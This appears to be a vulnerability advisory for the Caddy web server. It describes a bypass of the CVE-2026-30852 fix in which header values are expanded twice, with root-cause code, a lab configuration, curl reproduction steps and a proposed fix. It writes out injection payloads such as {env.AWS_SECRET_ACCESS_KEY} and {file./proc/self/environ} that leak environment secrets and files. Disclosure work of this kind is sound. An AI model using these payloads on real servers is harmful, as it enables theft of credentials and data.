Remote command execution In github.com/caddyserver/caddy/v2

Description

Caddy CVE-2026-30852 Fix Bypass

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

valExpanded = varStr
if !fromPlaceholder {
    valExpanded = repl.ReplaceAll(varStr, "")  // ← SECOND EXPANSION
}

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

    Config: vars tenant_id {http.request.header.X-Tenant-ID}

    Request header: X-Tenant-ID: {env.SECRET}

    Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.

    Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.

    Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

    Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.

    Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}

    System info: {system.hostname}, {system.os}

    Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

# Caddyfile
:8080 {
    vars tenant_id {http.request.header.X-Tenant-ID}
    @has_tenant vars_regexp tenant tenant_id (.+)
    handle @has_tenant {
        header X-Tenant-ID "{re.tenant.1}"
        reverse_proxy tenant-backend:8080
    }...
# docker-compose.yml
services:
  caddy:
    image: caddy:2.11.2
    ports:
      - "8080:8080"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro...

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY} Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

docker compose up -d
sleep 2

# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant

# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant...

Confirmed Test Output (Caddy v2.11.2)

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp

$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345
...

Fix

Apply expansion guard to BOTH branches:

// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
//     valExpanded = repl.ReplaceAll(varStr, "")
// }

Or sanitize vars stored from user input before re-expansion.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions